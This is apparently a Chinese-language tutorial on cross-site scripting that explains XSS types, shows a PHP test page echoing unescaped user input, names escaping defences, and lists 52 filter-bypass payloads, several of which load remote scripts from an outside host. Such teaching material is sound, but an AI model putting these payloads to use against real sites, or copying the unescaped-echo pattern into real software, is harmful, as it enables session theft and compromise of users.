xss基础

0x01、什么是xss

跨站脚本攻击(Cross Site Scripting),恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。
有的服务器并没有对用户的输入进行安全方面的验证,攻击者就可以很容易地通过正常的输入手段,夹带进一些恶意的HTML脚本代码。当受害者的浏览器访问目标服务器上被注入恶意脚本的页面后,由于它对目标服务器的信任,这段恶意脚本的执行不会受到什么阻碍。而此时,XSS攻击就完成了。

0x02、xss的危害

  • 挂马
  • 盗取用户Cookie。
  • DOS(拒绝服务)客户端浏览器。
  • 钓鱼攻击,高级的钓鱼技巧。
  • 删除目标文章、恶意篡改数据、嫁祸。
  • 劫持用户Web行为,甚至进一步渗透内网。
  • 爆发Web2.0蠕虫。
  • 蠕虫式的DDoS攻击。
  • 蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据

0x03、xss的种类

xss分为持久型、非持久型和DOM

持久型(存储型)xss

一般无意触发,输入--进入数据库*--取出数据库--输出。攻击脚本将被永久地存放在目标服务器的数据库和文件中。直接将恶意代码提交到服务器端,下次访问就不用再次提交xss代码

非持久型(反射型)xss

一般需要自行去触发,输入—输出。这种攻击方式的注入代码是从目标服务器通过错误信息、搜索结果等等方式“反射”回来的。一般容易出现在搜索页面,发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码

DOM xss

DOM XSS和反射型XSS、存储型XSS的差别在于DOM XSS的代码并不需要服务器参与,触发XSS靠的是浏览器端的DOM解析,完全是客户端的事情。

0x04、实例分析

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gbk" /> 
<title>xss初级</title>
</head>
<body>
<form action="" method="get" >
<input type="text" name="xss_input">
<input type="submit">
</form>
<hr>
<?php
    $xss = $_GET['xss_input'];
    echo '你输入的字符为<br>'.$xss;
?>
</body>
</html>

我们搭建一个简单的测试页面

当我们输入111时查看源代码,发现字符串被输出了出来,嵌套在标签内,那么我们输入

<script>alert('xss')</script>

会出现什么呢


我们可以看到出现xss弹窗,说明存在xss漏洞,这是最简单的xss漏洞了。

0x05、防御机制

1、对特殊字符HTML转码,用htmlspecialchars()函数进行检查。htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体
2、标签属性进行白名单限制,对输入进行正则匹配,发现不在白名单内的进行过滤或者替换为空。

0x06、常见xss攻击绕过方法

(1)普通的XSS JavaScript注入

<script>alert("xss")</script>

(2)区分大小写

<sCripT>alert("xss")</Script>

(3)IMG标签无分号无引号

<IMG SRC=javascript:alert(‘XSS’)>

(4)IMG标签大小写不敏感

<IMG SRC=JaVaScRiPt:alert(‘XSS’)>

(5)HTML编码(必须有分号)

<IMG SRC=javascript:alert(“XSS”)>

(6)修正缺陷IMG标签

<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>

(7)formCharCode标签(计算器)

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

(8)UTF-8的Unicode编码(计算器)

<IMG SRC=jav..省略..S')>

(9)7位的UTF-8的Unicode编码是没有分号的(计算器)

<IMG SRC=jav..省略..S')>

(10)十六进制编码也是没有分号(计算器)

<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>

(11)嵌入式标签,将Javascript分开

<IMG SRC=”jav ascript:alert(‘XSS’);”>

(12)嵌入式编码标签,将Javascript分开

<IMG SRC=”jav ascript:alert(‘XSS’);”>

(13)嵌入式换行符

<IMG SRC=”jav ascript:alert(‘XSS’);”>

(14)嵌入式回车

<IMG SRC=”jav ascript:alert(‘XSS’);”>

(15)嵌入式多行注入JavaScript,这是XSS极端的例子

<IMG SRC=”javascript:alert(‘XSS‘)”>

(16)Spaces和meta前的IMG标签

<IMG SRC=” javascript:alert(‘XSS’);”>

(17)双开括号

<<SCRIPT>alert(“XSS”);//<</SCRIPT>

(18)无结束脚本标记(仅火狐等浏览器)

<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>

(19)无结束脚本标记2

<SCRIPT SRC=//3w.org/XSS/xss.js>

(20)半开的HTML/JavaScript XSS

<IMG SRC=”javascript:alert(‘XSS’)”

(21)双开角括号

<iframe src=http://3w.org/XSS.html <

(22)无单引号 双引号 分号

<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>

(23)换码过滤的JavaScript

\”;alert(‘XSS’);//

(24)结束Title标签

</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>

(25)Input Image

<INPUT SRC=”javascript:alert(‘XSS’);”>

(26)BODY Image

<BODY BACKGROUND=”javascript:alert(‘XSS’)”>

(27)BODY标签

<BODY(‘XSS’)>

(28)IMG Dynsrc

<IMG DYNSRC=”javascript:alert(‘XSS’)”>

(29)IMG Lowsrc

<IMG LOWSRC=”javascript:alert(‘XSS’)”>

(30)BGSOUND

<BGSOUND SRC=”javascript:alert(‘XSS’);”>

(31)Iframe

<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>

(32)Table

<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>

(33)IMG STYLE方式

exppression(alert(“XSS”))’>

(34)STYLE background

<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>

(35)BASE

<BASE HREF=”javascript:alert(‘XSS’);//”>

(36)EMBED标签,你可以嵌入FLASH,其中包涵XSS

<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>

(37)在flash中使用ActionScrpt可以混进你XSS的代码

a=”get”;
b=”URL(\”";
c=”javascript:”;
d=”alert(‘XSS’);\”)”;
eval_r(a+b+c+d);

(38)XML namespace.HTC文件必须和你的XSS载体在一台服务器上

<HTML xmlns:xss>
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
<xss:xss>XSS</xss:xss>
</HTML>

(39)如果过滤了你的JS你可以在图片里添加JS代码来利用

<SCRIPT SRC=””></SCRIPT>

(40)IMG嵌入式命令,可执行任意命令

<IMG SRC=”http://www.XXX.com/a.php?a=b”>

(41)IMG嵌入式命令(a.jpg在同服务器)

Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser

(42)绕符号过滤

<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>

(43)URL绕行

<A HREF=”http://127.0.0.1/”>XSS</A>

(44)URL编码

<A HREF=”http://3w.org”>XSS</A>

(45)IP十进制

<A HREF=”http://3232235521″>XSS</A>

(46)IP十六进制

<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>

(47)IP八进制

<A HREF=”http://0300.0250.0000.0001″>XSS</A>

(48)混合编码

<A HREF=”htt p://6 6.000146.0×7.147/”">XSS</A>

(49)节省[http:]

<A HREF=”//www.google.com/”>XSS</A>

(50)节省[www]

<A HREF=”http://google.com/”>XSS</A>

(51)绝对点绝对DNS

<A HREF=”http://www.google.com./”>XSS</A>

(52)javascript链接

<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>